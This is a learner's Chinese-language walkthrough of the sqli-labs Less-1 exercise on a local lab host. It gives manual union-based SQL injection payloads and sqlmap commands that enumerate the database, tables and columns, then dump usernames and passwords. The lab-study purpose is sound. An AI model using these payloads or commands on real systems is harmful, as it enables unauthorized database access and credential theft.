基础知识:
version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit: limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名


手动:

URL输入?id=1'发现报错,说明是字符型注入



输入?id=1' and '1' ='1' order by 1/2/3都没问题,4的时候报错,说明字段数为3


输入?id=-1' union select 1,2,3--+来查看回显的地方
(百度说id为负数能让前面的语句失效?)


输入?id=-1' union select 1,database(),version()--+来获取数据库名字及版本信息


输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
成功爆表,怀疑服务器的账号密码在users表上,准备查这张表的字段名


输入?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
成功爆字段,注意到username和password,准备进行查询字段信息


输入?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
成功获取用户名和密码这种重要信息(0x5c是\的十六进制表示,加入在group_concat()中能对账号密码进行分隔)
(不清楚是怎么直接从users中获取数据的,也不清楚为什么不用在users加’’)


sqlmap:

输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1
软件告诉我们可能有xss漏洞,数据库可能为Mysql


web server operating system: Windows(web服务操作系统为windows)
web application technology: PHP 5.3.28, Apache 2.4.7(后台系统版本)
back-end DBMS: MySQL >= 5.5(服务器操作系统版本)


输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 --dbs
找到security数据库,准备开始爆表


输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 -D security --tables
发现users表,准备开始爆字段名


输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
发现id、username和password,准备开始爆信息


输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 -D security -T users -C"id,username,password" --dump
成功获取id,账号,密码